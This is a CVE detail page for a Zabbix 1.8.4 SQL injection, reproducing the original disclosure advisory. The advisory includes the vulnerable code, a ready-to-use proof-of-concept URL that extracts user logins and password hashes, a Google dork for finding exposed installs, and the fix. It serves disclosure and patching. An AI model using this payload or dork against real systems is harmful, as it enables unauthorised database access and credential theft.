CVE-2011-4674 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

# Exploit Title: Zabbix <= 1.8.4 SQL Injection # Google Dork: "Zabbix 1.8.4 Copyright 2001-2010 by SIA Zabbix" # Date: November 24th, 2011 # Author: Marcio Almeida # Software Link: http://sourceforge.net/projects/zabbix/files/ZABBIX%20Latest%20Stable/1.8.4/zabbix-1.8.4.tar.gz/download # Version: <= 1.8.4 # Tested on: Linux ============================================= - Release date: November 24th, 2011 - Discovered by: Marcio Almeida - Severity: High ============================================= - Google Dork: "Zabbix 1.8.4 Copyright 2001-2010 by SIA Zabbix" ============================================= I. VULNERABILITY ------------------------- Zabbix <= 1.8.4 SQL Injection II. BACKGROUND ------------------------- Zabbix is an enterprise-class open source distributed monitoring solution. Zabbix is software that monitors numerous parameters of a network and the health and integrity of servers. Properly configured, Zabbix can play an important role in monitoring IT infrastructure. This is equally true for small organisations with a few servers and for large companies with a multitude of servers. III. INTRODUCTION ------------------------- Zabbix version 1.8.3 and 1.8.4 has one vulnerability in the popup.php that enables an attacker to perform a SQL Injection Attack. No authentication required. IV. VULNERABLE CODE ------------------------- File popup.php line 1513: $sql = 'SELECT DISTINCT hostid,host '. ' FROM hosts'. ' WHERE '.DBin_node('hostid', $nodeid). ' AND status IN ('.HOST_STATUS_PROXY_ACTIVE.','.HOST_STATUS_PROXY_PASSIVE.')'. ' ORDER BY host,hostid'; $result = DBselect($sql); V. PROOF OF CONCEPT ------------------------- Below is a PoC request that retrieves all logins and MD5 password hashes of zabbix in MySQL Database: http://localhost/zabbix/popup.php?dstfrm=form_scenario&dstfld1=application&srctbl=applications&srcfld1=name&only_hostid=-1))%20union%20select%201,group_concat(surname,0x2f,passwd)%20from%20users%23 VI. BUSINESS IMPACT ------------------------- An attacker could exploit the vulnerability to retrieve any data from databases accessible by zabbix db user. In case zabbix has been given a more privileged mysql account the exploitation could go as far as code execution. An important remark regards the fact that the version 1.8.4 of zabbix web software is the current version installed by the apt-get command in debian linux distros. VII. SYSTEMS AFFECTED ------------------------- Versions 1.8.3 and 1.8.4 are vulnerable. VIII. SOLUTION ------------------------- Upgrade to version 1.8.9 that has just come out. IX. REFERENCES ------------------------- http://www.zabbix.com https://support.zabbix.com/browse/ZBX-4385 https://www.securityfocus.com/bid/50803/info X. CREDITS ------------------------- The vulnerability has been discovered by Marcio Almeida marcio (at) alligatorteam (dot) org @marcioalm www.alligatorteam.org XI. ACKNOWLEDGEMENTS ------------------------- To Heyder Andrade for development of Vulture. To the Alligator Security Team. XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.